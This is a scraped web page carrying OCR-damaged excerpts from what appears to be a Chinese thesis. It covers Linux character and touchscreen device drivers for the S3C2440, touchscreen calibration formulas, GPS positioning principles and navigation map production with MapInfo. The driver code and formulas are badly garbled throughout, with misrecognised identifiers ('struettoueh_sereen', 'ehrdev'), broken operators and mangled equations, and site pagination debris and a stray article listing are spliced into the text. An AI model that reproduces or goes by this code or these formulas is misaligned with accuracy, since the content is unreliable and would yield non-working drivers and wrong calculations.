register_ehrdev_region(xxxx_dev_no,1,DEV_NAME); else alloe_ehrdev_region(&xxxx_dev_  ret=edevadd(&xxxx.edev, xxxxdev nO nO O,1,DEV_NAME); l);//注冊設備   statievoidexitexit(void)  (xxxxdevunregister_ehrdev_region(   edevdel(&xxxxdev.Cdev); n。,1);//釋放占用的設備號 //注銷設備 } module_init(xxxx_init); module_exit(xxxx_exit); 這種結構用alloC_chrdev_region注冊設備號,然后用cdev_init初始化一個設 備,最后用cdev_add添加了該設備。  file_。 perations結構與設備關聯在一起后,就可以在驅動的架構中補全 file_。PerationS中的函數內容,實現一個完整的驅動架構,如下:    statieunsignedintxxxx_open() { }    statiCunsignedintxxxx_ioCtl() { }   Struetfile_operationsfops={  .owner=THISMODULE, ?OPen=XXXX_OPefl,#p#分頁標題#e#  .write=xxxxwrite,  .ioetl=xxxxioetl,     statieintinitxxxxinit(void) register_ehrdev(xxxx_dev_no,DEV_NAME,&fops); }   statievoid_exitxxXx_exit(void) { unregister_Chrdev(xxXx_dev_no,DEV_NAME); }   moduleinit(xxxxinit);   moduleexit(xxxxexit);  4.3觸摸屏驅動程序設計 觸摸屏也屬于字符設備的一種,它的操作方式也是以文件形式進行的〔2‘〕,在本文 中將觸摸屏驅動化作幾個功能模塊來介紹,包括初始化硬件、驅動的加載與卸載、中 斷與定時器處理以及坐標處理等。 4.3.1觸摸屏的硬件介紹 53C2440的A/D轉換輸入總共有八路,其中有一半是與觸摸屏復用,如果xP、XM、 YP、YM不用作觸摸屏輸入時可以作為A/D轉換使用。 s3c2440的觸摸屏端口可以有以下幾種工作模式〔繃: 1)正常工作模式:這個模式下跟普通的的A/D轉換一樣。具體實現方式是在 ADC控制寄存器中設置,而讀寫操作是在ADC數據寄存器O中實現。 2)橫縱坐標自動轉換:這個模式下,控制器依次轉換觸摸點的橫坐標和縱坐 標,橫坐標和縱坐標都轉換完成之后,控制器會產生INT_ADC中斷。 3)橫縱坐標單獨轉換:觸摸屏控制器順序分別轉換橫坐標與縱坐標,橫坐標 寫入ADCDATO的XPDAT中然后產生中斷,縱坐標寫入ADCDATI的YPDAT中然后產生中 斷。 4)等待中斷模式:在這個模式下,當觸點信號到來時,控制器產生工NT_TC 中斷信號,然后橫坐標位置和縱坐標位置能被相應的轉換模式讀取到。 4.3.2觸摸屏驅動程序實現 (1)構造結構體與硬件控制 首先要封裝一個觸摸屏設備結構體,在這里為了簡便,可以讓這個結構體包含觸 摸屏設備的所有信息:  Struettoueh_Sereen{ ehar*name;   struetinPut_devmydev:  struetelk*ade_elk;   unsignedlongPhys_base,virt_base;  intmaP_size;   unsignedlongadetse,adeeon,adedly, adeuPdn,adedato,adedatl;   struettimer_listtm;  intinterval;   void(*enable)(struettouehsereen*);   void(*disable)(struettouehsereen*);   void(*wait4down)(struettouehsereen*);  void(*wait4up)(structtouch_Screen*); void(*auto夕 st)(Struettoueh_sereen*);  int(*get_X)(struettoueh_sereen*); int(*get_y)(Structt。ueh_screen*);   int(*down)(struettouehsereen*); }s3e244o_ts; 觸摸屏設備結構體封裝完畢后,還有一個觸摸屏驅動文件操作結構體需要初始化, 在觸摸屏設備驅動中,還要依次完成oPen、release、read等功能函數,因此其文件 操作結構體定義如下:    statiestrueturefile_operationss3e244o_fops={  .owner=THISMODULE, .OPen=ts_oPen,  .read=tsread,  .release=tsrelease, }; 接下來要做的是實現觸摸屏驅動中的硬件控制,在本次設計中采用的工作模式是 自動 void { X/Y位置轉換模式,具體的硬件控制代碼如下:     s3e2440tsenable(struettouehsereen*ts) ts一  >ade_eIk=eIk_get(NULL,”ade“);  elkuse(ts一 )adeelk);  elkenable(ts一 >adeelk); ts一)wait4down(ts); }   void53C2440_ts_disable(struettoueh_sereen*ts){ elk_disable(ts一)ade_elk);   eIkunuse(ts一 )adeelk);  eIk夕 ut(ts一)ade_elk); }  voids3C2440_ts一 ait4down(struettoueh_sereen*ts){ iowrite32(3}(l<<4)1(1(<6)l(l<<7)j(O<<8)ts一>adetse)  void53e2440_ts一 ait4up(struettoueh_sereen*ts){ iowrite32(31(l<<4)(1((6)(l<<7)(1<(8)ts一>adetse)  void53e2440_ts_auto夕 St(Struettoueh_sereen*ts){ iowrite32((1(<2),ts一)adetse); iowrite32(11(30(<6)l(l(<14),ts一>adeeon);      ints3e244otsdown(struettouehsereen*ts){   1fltTet if(ioread32(ts一>adeupdn)&l){ ret=1 else ret=O } iowrite32(O,ts一>adeupdn)  retUrflYet; 〕   ints3e244o_ts_get_x(struettouehSCreefl*ts){  returnioread32(ts一)adedato)&Ox3ff;   ints3e244o_ts_get_y(struettoueh_sereen*ts){  returnioread32(ts一>adedatl)&Ox3ff;   voiddestroy_toueh_sereen(struettoueh_sereen*ts){ iounmap(ts一>virt_base); release_me幾region(ts一)phys_base,ts一>map_size); (2)驅動模塊加載與卸載函數#p#分頁標題#e# 觸摸屏驅動程序的加載函數中主要實現的功能有設備號的申請、cdev的注冊、中 斷的申請以及定時器的初始化等〔23]。 而在卸載函數則完成相反的工作,如釋放存儲空間,注銷設備、釋放中斷和刪除 定時器等。 模塊加載函數具體代碼如下:   inttsinit(void)  intret=O     1nittouchScreen(&53C2440ts);//觸摸屏硬件連接初始化函數 s3e244o_ts。Mydev.name=s3e244o_ts.name: /*注冊設備號*/ s3c244o_ts。mydev。evbit[O〕=BIT(EV一BS) input_set_abs一arams(&s3e244o_ts。mydev, input_set_abs_params(&s3e244o_ts。mydev, input_set_abs_params(&s3e244o_ts。mydev, input_register_deviee(&s3e244o_ts.mydev); ret=request_irq(IRQ--ADC,   SASAMPLERANDOM, if(ret<O){  SA_SAMPLE_RANDOM,s3e244ots。name,&s3e2440_ts);//申請中斷 printk(”  requestirqfailed.\n,,); return一EBUSY: ret=request_irq(IRQ_TC,irq_handle, SA_SAMpLE_RANDOM,s3e244o_ts.name,&s3C2440_ts);//申請中斷 if(ret(O){ printk(”  requestirqfailed.\n“); return一EBUSY;   inittimer(&s3e244ots.tm);//初始化定時器  s3e244ots。tm。 data=&s3e244ots  s3e244ots。tm。 funetion=timerhandle s3e244o_ts。enable(&53e2440_ts);  retllrnret: 模塊卸載函數:  voidts_exit(void) { free_irq(IRQ叢DC,&s3e244o_ts.mydev); free_irq(IRQ_TC,&s3e244o_ts.mydev); input_unregister_deviee(&s3e244o_ts.mydev); destroy_toueh_sereen(&s3e244o_ts); (3)中斷處理與定時器的啟動管理 由3.3.1小節對觸摸屏和ADC模式的分析,可知觸摸屏驅動中會生成兩類中斷,一 類是觸點中斷,一類是X/Y位置轉換中斷。在前一類中斷發生后,如果之前處于抬起狀 態,則應該啟動橫縱坐標的位置轉換。 因為觸摸屏的觸摸是觸發中斷然后經過中斷處理程序進行相應的坐標記錄、坐標 轉換與存儲等功能,而且觸摸屏的應用還涉及到劃屏,和按鍵的按下與抬起有一定差 別,所以其中會用到定時器的應用,實時的跟蹤觸點位置坐標。 如圖4一1,詳盡的展現了本觸摸屏驅動中斷與定時器的處理函數流程。 irqreturn_tir屯 handle(intirq, struettoueh_sereen*ts) if(irq==IRQ_TC){ if(ioread32(ts一)adeupdn)&1){ iowrite32(ioread32(ts一>adeupdn)&一l,ts一>adCupdn); input_event(&ts一>mydev,EV一BS,ABS_PRESSURE,1);  timer_handle(ts);  }elseif(ioread32(ts一)adeupdn)&(1<(1)){ iowrite32(ioread32(ts一>adcupdn)&一(1<<l),ts一)adcupdn); input_event(&ts一>mydev,EV一BS,ABS_PRESSURE,O); input_event(&ts一)mydev,EV_SYN,O,O); del_timer(&ts一)tm); ts一>wait4down(ts); }  }elseif(irq==IRQesADC){ intx,y: x=ts一)get_x(ts); y=ts一>get_y(ts); input_event(&ts一)mydev,EV_ABS,ABS_X,x); input_event(&ts一)。ydev,EV_ABS,ABS_Y,y); ts一 >wait4up(ts); } 因為涉及到對拖動軌跡支持的情況,定時器會被啟用,一般設定周期為IOmS,在 每次定時器處理函數被引發時,調用位置轉換函數:     voidtimerhandle(Struettouehsereen*ts) { ts一>auto_pst(ts); ts一)tm。exPires=jiffies+ts一)interval;  add_timer(&ts一)tm); } 到此整個觸摸屏驅動的設計基本完成。 4.3.3觸摸屏校正 在開始實現觸摸屏功能之前,還需要解決一個問題,那就是觸摸屏的校正。觸摸 屏和LCD是兩種不同的物理器件。對于一個分辨率為  320x240的LCD,它的寬度為 320個像素,高度為240個像素。而觸摸屏處理的數據是點的物理坐標,該坐標是通過 觸摸屏控制器采集得到的。要想實現觸摸屏上的物理坐標與LCD上的像素點坐標一一 對應上,兩者之間就需要一定的轉換,即校正。而且電阻式觸摸屏由于自身的原因參 數會發生變化,因此需要經常性的校正〔川。比較常見的校正方法是三點校正法,它的 原理是:設LcD上每個點PD的坐標為[XD,Y司,觸摸屏上每個點PT的坐標為[XT, YT]。要實現觸摸屏上的坐標轉換為LCD上的坐標,需要下列公式進行轉換: XD=AXXT+BXY丁+C#p#分頁標題#e# YD一DXXT+EXYT+F 因為其中一共有六個參數A,B,C,D,E,F,因此只需要三個取樣點就可以求得 這六個參數。這六個參數一旦確定下來,只要給出任意觸摸屏上的坐標點PT,代入這 個公式,就可以得到它所對應的LCD上像素點的坐標PD。具體的求解過程就不細講, 只給出最終的結果。已知LCD上的三個取樣點為:PDO,PDI,PDZ,它們所對應的觸摸 屏上的三個點為:PTO,PTI,PTZ。A,B,C,D,E,F這六個參數最終的結果都是一個 分式,而且都有一個共同的分母,為: K=(XTo一XTZ)X(YT,一YTZ)一(XT,一XTZ)X(Y丁。一YTZ) 那么這六個參數分別為: A=[(Xoo一XDZ)X(YT一YTZ)一(Xn一XnZ)X(YT。一YTZ)]/K B=[(XTo一XTZ)X(XD,一XnZ)一(Xo。一XnZ)X(XT:一XTZ)]/K C=tYT。  X(XTZXXol一    XTIXXoZ)+YTzX(XToXXDZ一  XTZXXD。)+YTZX(X丁一 XXDo一XT。 XXDI)] /K D=[(YD。一YnZ)X(YTI一Y幾)一(Yol一YoZ)X(YTo一YTZ)]/K E=[(X丁。一XTZ)X(YDI一YnZ)一(Yo。一YDZ)X(X丁,一XTZ)1/K   F=[YToX(XTZXYn,一X丁一    XYoZ)+YTIX(XToXYnZ一  XTZXYD。)+YTZX(XT一 XYoo一XT。 XYol)] /K 觸點的坐標是用下面方法得到的:當觸筆落下時,進入中斷,然后讀取觸點處的 坐標,直到觸筆的抬起,才退出該次中斷。由于觸摸屏需要校正,因此在使用之前需 要進行校正處理。但并不是每次使用都要校正,只要坐標沒有發生漂移,就不需要再 次校正。所以在進行一次校正后,只要把那幾個參數保存起來,下次需要時直接使用 上次保存下來的參數即可。在這里,我們利用EEPROM來保存這幾個參數,即A、B、 C、D、E、F、K分別保存在以0x20,0x30,0x40,Ox50,0x60,0x70,0x80為首地 址內存的連續4個字節空間內,另外內存地址ox1F保存一個標識信息,當為Ox6A時, 表示這幾個參數己計算并保存好了,只需從上述內存地址中讀取參數就行,而當為其 他值時,就需要進行校正。圖4一3為三點校準的操作界面視圖。 校正時,需要三個取樣點,在這三個取樣點上畫一個十字,只需要依次點擊這三 個點,即可完成觸摸屏的校正。 4.4本章小結 在本章中,簡單說明了嵌入式Linux字符設備驅動的設計方法,并敘述了字符設 備驅動的主要工作:初始化、添加和刪除edev結構體、申請和釋放設備號,以及填充 file_operations結構體中的相關函數。最后并以觸摸屏設備驅動為例,詳述了字符設備 啟動的設計與實現。文中詳盡的說明了觸摸屏驅動程序的設計方法與具體實現步驟, 以及觸摸屏的校正程序的設計與實現。實現了一個完整的嵌入式Linux觸摸屏設備驅 動程序的設計。 第5章Linux網絡設備驅動設計 網絡設備是完成用戶數據包在網絡媒介上發送和接收到設備,它將上層協議傳遞 下來的數據包以特定的美籍訪問控制方式進行發送,并將接受到底數據包傳遞給上層 協議[25]。與字符設備和塊設備不同,網絡設備并不對應于/dev目錄下的設備文件,應 用程序最終使用套接字(socket)完成與網絡設備的接口。   http://www.ionrce.tw/uploads/allimg/120612/1-120612212P5Q3-lp.jpg linux,程序設計,設備驅動 linux admin 未知 2012-06-12 21:24 GpS組成原理及導航電子地圖的制作 http://www.ionrce.tw/biancheng/20120612949.html GPS工作原理 GPS導航是無線電導航的一種,無線電導航用于通訊幾乎是沒有延遲的。無線電最 初用于飛機和船只導航時用定向天線測量到兩個或者更多的無線電信標的方位。二戰 后,引  GPS工作原理 GPS導航是無線電導航的一種,無線電導航用于通訊幾乎是沒有延遲的。無線電最 初用于飛機和船只導航時用定向天線測量到兩個或者更多的無線電信標的方位。二戰 后,引導飛機航行的無線電導航得到快速的發展,比較著名的無線電導航系統有伏爾、 塔康、儀表著陸系統,微波著陸系統四。根據實際定位方法的不同,無線電定位的方式 分為測邊交會法、雙曲線定位和多普勒定位。 2.1.1測邊交會法 由于無線電以恒定的光速。進行傳播,所以如果能夠測出無線電波從發射臺到信號 接收臺之間的傳輸時間,那么他們之間的距離也就能夠確定了。當測得傳播時間為t時, 利用公式R=tc,就得到了發射臺與待測點之間的距離。這種利用測量待測點與已知點之 間的距離,從而求得待測點坐標的方法稱為測邊交會法,也稱作 Time of arrival(T0A) 方式。 如果待測點到已知點51的真實距離為Rl,那么待測點的位置一定 在以51為球心,RI為半徑的球面cl上,同理,如果待測點到己知點S:的真實距離為 RZ,那么待測點的位置也一定在以S:為球心,R:為半徑的球面C:上。同樣如果再有一 個以53為球心R:為半徑的球面C3,則三個球面必定相交于一點P,也就是待測點的位 置,這就是測邊交會法的幾何原理。GPS、GLONASS、GAULEO等衛星定位系統las]的 定位原理就是按照測邊交會法建立的。第2章GPS組成原理及導航電子地圖的制作 2.1.2雙曲線定位 雙曲線定位,主要是采用腸   meoifferenceOfArrival(TDOA)的方式,它的原理是 通過測量無線電波到達兩個基站的時間差來確定待測點的位置,而不是像測邊交會法中 的通過測量到達的時間來確定。待測點必須位于以兩個基站為焦點的雙曲線上,確定待 測點的二維位置坐標需要建立兩個以上的雙曲線方程,兩雙曲線的交點即為待測點的二 維位置坐標。 如圖2.2所示,在平面上,用戶站到基站的距離差和基站的間距決定一條雙曲線。 同樣,可以得到用戶站與其他基站決定的雙曲線,曲線的交點即為用戶站的坐標。設(x, y)為待測點的待估計位置,(x,,Yi)為第i(i=1,2,3)個基站的已知位置,則待測點和第i 個基站之間的距離為 那么相應的距離差為 對上面的方程組求解,即可得到用戶站的坐標(x,y)。利用雙曲線原理建立的無線 電導航系統有羅蘭A、羅蘭C、臺卡和奧米邇等。 2.1.3多普勒定位 如圖2.3所示,多普勒定位原理是通過測定同一信號發射源不同間隔時段其信號的 多普勒頻移,從而確定發射源在各時段相對觀察者的視向速度和視向位移,再利用發 射源所給定的tl,tZ,t3,t4,…時刻的空間坐標,結合對應的視向位移解算出測站空間 坐標P(X,Y,z)。多普勒定位的幾何原理是:發射源在tl,tZ,t3,t4,…點上的坐標是 已知的,而任意兩個相鄰已知點到待定點P的距離差,是根據給定發射源經過期間,發 射源和觀測點P之間距離改變引起的頻移的測量值求得。信號發射已知的頻率信號fS,哈爾濱_「程大學碩士學位論文 由觀測點信號接收機跟蹤。接收機與發射器之間的相對運動ds/dt產生的接收頻率 隨時間變化的關系為 (2一4) 這就是多普勒效應式(2一4)中C為光速。給定時間間隔tj,tk上觀測到的頻移,并 轉換為距離差值州‘。與此相關的觀測方程四為 從數學上我們知道,一個動點到兩個定點的距離差為一定時,該動點P則構成一個 旋轉雙曲面,這兩個定點就是該雙曲面的焦點。于是以衛星所在的tl,tZ,t3,腸,…任 意兩個相鄰己知定點作焦點,未知點P作動點構成對應的特定旋轉雙曲面。其中,兩個 雙曲面相交為一曲線(P點必在該曲線上),曲線與第三個雙曲面相交于兩點(其中一 點必為P點),第四個雙曲面必與其中一點相交—該點就是待定的P點。因此,要解 算P點的三維坐標,必須對同一發射器有四個積分間隔時段的觀測,得出發射器在四段 時間間隔的視向位移,從而獲得四個旋轉雙曲面,它們的公共交點就是待定點P(X,Y,#p#分頁標題#e# Y)。 當發射頻率固定時,這種技術總是可行的。利用多普勒定位原理的導航定位系統有 TANSIT子午衛星系統網、DORls星載多普勒無線電定軌定位系統等。  2.2GPS系統組成和定位流程 全球定位系統(GPS),其全稱為定時和測距的導航衛星(Navstar—Navigation    SystemTimingandRanging),意思是用來定時和測量距離的導航系統。GpS由美國 國防部組織和開展建設,1973年開始進行方案論證、系統仿真試驗和設備開發,經過近第2章GPS組成原理及導航電子地圖的制作 23年建設,消耗資金130億美元,第一顆GPS試驗衛星于1978年2月22日成功發射, 原計劃GPS導航系統于1987年完成,但因為經費短缺等原因,將最終系統完全建設推 遲了將近6年。 GPS系統最初計劃由3條傾角為63度圓軌道上的24顆衛星組成,在經費縮減下曾 將計劃改變為6條軌道18顆衛星組成,但因為不能覆蓋完全,1986年重新的優化組合, 設置為21顆衛星,但最后在1993年采用了24顆衛星組成的實用星座,另外留1一4顆 備用衛星。 GPS系統包括3個子系統,即空間部分、地面部分和用戶部分。  2.2.1GPS系統組成 1.空間部分 GPS衛星主要由提供導航信號的無線電收發機、原子鐘、天線和計算機組成,另外 還包括用于控制衛星工作的控制、指令系統和維持姿態穩定和調整軌道的推進系統,兩 塊7m2的太陽能帆板組成了衛星的供電系統。艷原子鐘作為系統時間標準。衛星離地高 度約20230km,繞地球旋轉周期為12h。 GPS衛星上發射的信號工作在兩頻率分別為f,=1575.42加rhz;fZ=1227.60Mhz的 兩個載波上。這兩個頻率上記錄了衛星識別碼和導航電文。 民用的粗捕獲碼(CA碼)只調制在Ll頻率上。而提供軍用的精密碼(P碼)同時 調制在Ll和玩兩個頻率上。當同時使用兩個頻率時,可以測定電離層的延時誤差,對 測量精度有很大的提高。 2.地面部分 運行控制系統由一個主控站、五個監測站和三個地面控制站組成網。運行控制部分 用來跟蹤所有衛星,測定軌道和星鐘,預測修正模型參數等 主控站對衛星進行控制,并確保整個系統正常工作。 監測站負責采集視見衛星的數據。五個監測站的位置分別在:科羅拉多州的斯普林 斯、夏威夷、南大西洋的阿森松島、印度洋的迭戈加西亞島和北太平洋馬紹爾群島的夸 賈林環礁。 地面控制站用來向衛星上行發送反饋信息。三個地面控制站分別設在阿森松、迭戈 加西亞和夸賈林三個島上,和監測站共址。 3.用戶接收機 用戶接收機分為軍用P碼接收機和民用CA碼接收機,還細分靜態精密測量型和實 時動態測量型,民航只能采用CA碼實時動態測量型接收機。  2.2.2GPS接收器定位流程 GPs接收機的定位流程一般分為以下幾步四: 1.搜索可用衛星數,一般要求不少于3顆。同步并接收衛星信號,獲取導航電文; 2.從導航電文中獲取時鐘信息和星歷等重要參數; 3.計算出衛星的位高度和方位角,補償對流層折射對信號的影響; 4.計算偽距,補償電離層折射對信號的影響; 5.對其他搜索到的衛星重復2一4步操作; 6.校正地球自轉和衛星鐘差帶來的誤差; 7.根據定位原理,計算出GPS接收器的定位信息,并根據輸出的要求做相應的處 理,按要求輸出GPS的最終定位信息。 2.3坐標系介紹及坐標轉換問題 在GPS導航研究中,經常面臨多種坐標系統的選擇。根據坐標軸指向的不同,可 以將坐標系統分為兩大類坐標系,即天球坐標系和地球坐標系。天球坐標系與地球的自 轉無關,主要用來描述衛星的位置。地球坐標系和地球一起自轉,在自轉過程中它相對 于地球的位置是不變的。根據選題的要求,這里詳細介紹下地球坐標系,地球坐標系分 為兩大類:地心坐標系和參心坐標系。 2.3.1坐標系介紹 地球坐標系包括地心坐標系和參心坐標系兩種。 地心坐標系以地球質心為原點ls0]。它包括兩種:地心空間直角坐標系和地心大地坐 標系。 1.地心空間直角坐標系 地心空間直角坐標系原點與地球質心重合,Z軸指向北極,X軸指向格林尼治子午 面與地球赤道的交點E,Y軸垂直于XOZ,構成右手坐標系。 2.地心大地坐標系 地心大地坐標系地球橢球中心與地球質心相重合,橢球的短軸與地球自轉軸相重#p#分頁標題#e# 合,大地緯度B為過空間點P的橢球面法線與橢球赤道面XOY的夾角。大地經度L為 過地面的橢球子午面ZOP與格林尼治子午面ZOX之間的夾角,大地高度H為過P點的 橢球面法線上自橢球面至P點的距離,以遠離橢球面中心的方向為正。 地心空間直角坐標系和地心大地坐標系如圖2.4所示。 參心坐標系選取的坐標原點與地球質心不同。它選取的坐標原點一般與地球質心不 同,所以稱之為非地心坐標系。它主要包括參心空間直角坐標系和參心大地坐標系。     1.參心空間直角坐標系     參心空間直角坐標系是以參考點為坐標原點O,以起始子午面與赤道的交線為X 軸,以橢球的旋轉軸(短軸)為Z軸,向北為正,在赤道面上與X軸正交方為Y軸,構成 右手坐標系0-XYZ o     2.參心大地坐標系     參心大地坐標系用大地緯度B、大地經度L和大地高H表示。空間一點P沿橢球 法線與赤道面的夾角B,稱為P點的大地緯度,由赤道面起算,向北為正((0--go.),稱 為北緯,向南為負(0’一900),稱為南緯。P點的子午面與起始子午面所構成的二面角L, 稱為P點的大地經度,為正向東((0.^1800),稱為東經,向西為負((0 }^--180 }),稱為西 經。P點沿法線方向到橢球面的距離為P點的大地高Ha 2.3.2關于定位數據坐標轉換的問題     從GPS接收機得到的經緯度信息是基于WGS-84坐標系統,而傳統的導航電子地 圖的經緯度是基于北京54坐標系統的,這就存在一個坐標系轉換的問題。     W GS-84是美國國防部研制并確定的地心坐標系。WGS-84空間直角坐標系:     坐標系的原點在地球質心,Z軸指向BIH1984.0(國際時間局,1984年)定義的CTP(協 議地球極)方向;X軸指向BIH 1984.0的零度子午面與CTP赤道的交點;Y軸與 ZX軸 構成右手坐標系,如圖2.5所示: WGS一84大地坐標系如圖2.6所示: 大地緯度B:經過該點的地球橢球法線與赤道面的交角。大地經度L:經過該點的 子午面與格林尼治子午面之間的交角,向東為東經。大地高H:該點至地球橢球面的垂 直距離。 但隨著電子地圖使用的普及和技術的不斷成熟,越來越多的導航電子地圖直接采用 WGS一84坐標系統,這不僅可以減少坐標轉換帶來的誤差,更在很大程度上減輕了導航 軟件的編寫的復雜度。 本課題使用的導航電子地圖就是直接采用WGS一84坐標系統。 2.4導航電子地圖的制作  2.4.1Mapinfo產品及其開發模式簡介 Maphfo產品是美國MaPInfo公司開發的桌面地理信息系統軟件,它依據地圖及其 應用的概念、采用辦公自動化的操作、集成多種數據庫數據、融合計算機地圖方法、通 過對地理數據庫技術的使用、加入了對地理信息系統分析解釋功能,形成了大多數行業 可以使用的廣泛的小型軟件系統。Mapln角含義是“Mapping+Information(地圖+信息)” 即:地圖對象+屬性數據l5l]。 Maplnfo不僅實現了電子地圖的縮放,漫游等基本功能,更重要地一點是,它可以 將地圖對象與關系數據庫中的記錄一一自動關聯。通過Maplnfo軟件可以對地圖與數據 庫進行雙向查詢,而且還能夠使地圖上的對象與數據庫中的相關數據記錄聯接,通過數 據庫中數據的改變來動態改變地圖對象的可視屬性,從而自動生成靈活方便的專題地 圖,以供管理者決策和分析數據。當數據庫被執行查詢操作時,地理信息數據既能直接 在地圖上顯示,也可以利用在地圖上對對象進行選擇,從而查詢與之相對應的數據庫信 息。這給管理者在宏觀查詢和綜合分析方面提供了極大的方便。 下面簡單介紹一下目前主流的MaPInfo開發方式I5z]。 1.基于MapBasic的開發模式 這種開發模式是以 MaphifoProfessional為基礎開發平臺,所開發的軟件系統的功能 大多數由 MaPhifoProfessional提供,缺少的功能通過MaPBasic編程方式進行補充。最 后,通過MapBasic提供的界面、菜單制作工具將系統整合集成,此方法屬于傳統的面 向過程的軟件開發模式。 MapBasic是基于 MaplnfoProfessional平臺的用戶應用程序編程語言,它主要針對#p#分頁標題#e#  Maplnfoprofessional的二次開發,用以補充完善Mapln匆Pro介ssional的功能。MapBasie 的主要功能有: l)可直接獲取 MaplnfoProfessional的空間實體,并可以操作該實體; 2)支持嵌入的SQL標準語言,方便對屬性數據的操作; 3)支持DDE技術和。址2.0標準,從而實現 MaPInfoProressional與其他應用程序 的連接; 4)可以修改M叩 Infoprofessional的界面; 5)具有動態圖層的功能。 這種開發方式由于Mapxn Professional和MapBasie本身比較簡單,為系統的開發 提供了必要的功能組合,因而這種開發模式具有簡單、快速、高效的特點。但隨著計算 機軟件工業的發展,網絡技術和多媒體技術普遍應用于軟件開發中,而M即Info Professional相對而言是比較封閉的,開發的應用程序在數據傳輸、可視化、應用范圍等 方面受到一定程度的限制。 針對這種情況,Maphifo對其產品進行的較大幅度的改進,最明顯的就是從Maplnfo professional4.o版本后,全面支持oLEZ.o標準,允許其他開發語言把 Maplnfoprofessional 作為OLE對象進行開發。 2.基于Mapx的開發模式 COM是  ComponentObjectModel(組件對象模型)的縮寫。它其實是一種協議, 建立了兩個軟件模塊之間的連接,并將其描述出來。連接之后,這兩個模塊就可以通過 “接口”來進行通信。使用COM有如下優點: l)面向對象的優點。程序開發者只要將任務分解成若干個COM對象,然后分別 編程實現各個部分,最后可以通過“接口”將各部分連接起來。 2)交換一致性。COM為不同平臺的用戶提供了統一的接口,任何一種軟件服務 都是以同一種方式提供給用戶。 3)語言的獨立性。c0M對象可以使用任何語言去調用,只要所使用的語言可以 支持COM所要求的二進制接口。 面向對象和分布式技術是計算機軟件技術發展的兩大潮流,組件化技術是促進兩者結合 的有效途徑,GIS類軟件的開發也不例外。MaPInfo公司推出了MapX組件包。 基于Mapx的應用程序的開發模式實際上是利用oLE方式嵌入了一個更精簡、實用的 Maplnfo系統,實用可視化開發語言對 MaphifoProfessional不具備的功能可極大的進行 擴充。 3.基于MapXtreme的開發模式 互聯網技術的發展極大的促進了地理信息系統(GIS)在網絡上的使用,形成了 W亡bGIS這一新的研究領域。世界各地的GIS開發商也均推出了在互聯上發布地理信息 的服務器軟件,MaPinfo的Mapxtreme就是這種類型的服務器軟件。M叩Xtreme是常用 的Web開發語言和開發工具,結合MaPXtreme的地圖引擎對象(MaPX),開發和實現 地理信息在網絡的發布、查詢和分析。 MaPxtreme應用程序采用目前流行的web應用程序的三層結構。即web應用程序、web服務 器和客戶端瀏覽器。使用這三層開發結構,不僅提高了應用系統的安全性,也易于系統的維護和更 新。 2.4.2導航電子地圖的數據組成及組織結構 導航電子地圖的數據通過Maplnfo中的“表”來存放,M叩Info中的“表”不同于 日常所指的表。它包括空間數據和屬性數據。空間數據包括圖形數據和柵格數據,圖形 數據用點、線、面等來描述空間對象,柵格數據沒有記錄、字段和索引等,它是一種只 能在地圖窗口顯示的圖像。屬性數據包括名稱,類型和特征等。 電子地圖通過表的形式建立了空間實體與屬性數據之間的對應關系。同時規定,空 間實體在表中的存儲不許重復,從而保證了空間實體記錄的唯一性。對于空間實體多種 類型的屬性描述,利用直接與實體相連的方法會使系統冗余,根據關系數據庫規范化的 要求,可以將它分解為多個表,實現表之間的多重鏈接,空間實體可以與多個表中的屬 性數據產生聯系,如圖3.1 Mapln加通過表來存儲數據。一個典型的Maplnfo表主要由*.tab、*.dat、*.wks、 *.dbf、*.xls、*.map、*.id、*.ind文件格式組成。創建的一個Maplnfo的表至少由以下兩 個獨立文件組成。 1了1’AB文件:.TAB文件是屬性數據表結構文件。它定義了地圖屬性數據的表結構, 主要由字段數、字段名稱、字段類型和字段寬度、索引字段和相應圖層對關鍵空間信息 的記錄組成。 2.DAI,文件:.DAT文件是屬性數據文件。在這個文件中存放著完整的地圖屬性數據。#p#分頁標題#e# 將它放于文件頭之后,為表結構描述,其后首尾相接的是各條具體的屬性數據記錄。 3.ID文件:.ID文件是交叉索引文件。它記錄了電子地圖中空間對象在空間數據文 件中的位置指針。一個指針由四個字節構成。指針排列的順序與屬性數據文件中的屬性 數據記錄存放的順序是一致的。 4.MAp文件:.M戶田文件是空間數據文件。它包含了地圖對象的各種空間數據。空 間數據主要由幾何類型、坐標信息和顏色信息組成。此外它還記錄了與該空間對象對應 的屬性數據在屬性數據文件中的記錄號。 5.IND文件:.IND文件是索引文件。它不是必須要有的,軟件會根據用戶是否己經 對數據庫的索引字段進行了規定來決定其是否產生。索引文件中對應于每個文件索引字 段都有一個索引表。在每個類似的索引表中,軟件會先列出總的數據庫記錄的數目,然 后根據索引順序給出每條屬性數據記錄在對應的索引字段處的具體屬性數據和該記錄 在屬性文件和交叉索引文件中的記錄號。 2.4.3導航電子地圖的制作 導航電子地圖的制作過程比較復雜,一個合格規范的導航電子地圖應該滿足以下幾 點要求: 第一,在數字化一幅紙質地圖時,誤差應保持在很小的范圍內。 第二,導航電子地圖必須有一套嚴格的坐標系統,地圖上的每個對象應都按照這個 坐標系統規范起來。 第三,導航電子地圖上的每個對象的屬性信息必須完備,從而便于信息的查詢與更 新。 導航電子地圖均都是通過掃描紙質地圖,然后通過數據庫對其信息進行存儲。本文 中電子地圖的制作過程具體如下: 第一,獲取哈爾濱市紙質地圖,通過數字化儀器對它進行掃描,從而生成地圖文件。 第二,利用MaPInfo軟件讀取對地圖文件,并對其進行配準。 第三,按照地物對地圖進行分層。 第四,選擇道路,河流,地區劃分,商業飲食,標注等圖層的.Tab文件,利用MapX 的程序GcosetManage;整合以上.Tab文件制作成.gst文件。 第五,將數據文件添加到地圖上,并在計算機上顯示該地圖。 下圖為制作好的哈爾濱市電子地圖: 2.4.5導航電子地圖的圖層控制與管理 隨著社會的不斷發展,車載導航對電子地圖的需求增加,導航電子地圖對地物信息 顯示的完備性和詳細性要求漸增,如果將所有的地理信息都放在一個單獨的文件里面, 地圖信息顯示時會在屏幕上同時出現,這將給電子地圖的識別度帶來了很大的不便,也 違背了電子地圖簡易方便的初衷。因此,地圖分層的思想便出現了。 在電子地圖中,圖層是它的積木塊,每一張有地理信息的表都是一個圖層。例如, 在一個城市地理信息中,第一個圖層包含行政區劃;第二個圖層包含主要街道;第三個 圖層包含主要建筑;……。把他們疊加起來就形成了一幅完整的城市電子地圖。 另外要對圖層的縮放顯示級別進行設置,科學合理地設置好每一圖層的縮放級別, 可以控制電子地圖上圖層顯示的數量。不然,一旦地圖中包括比較狹窄的道路圖層,當 用戶縮小地圖到一定程度時,可能發現道路都聚集在一起,變得難以辨認。 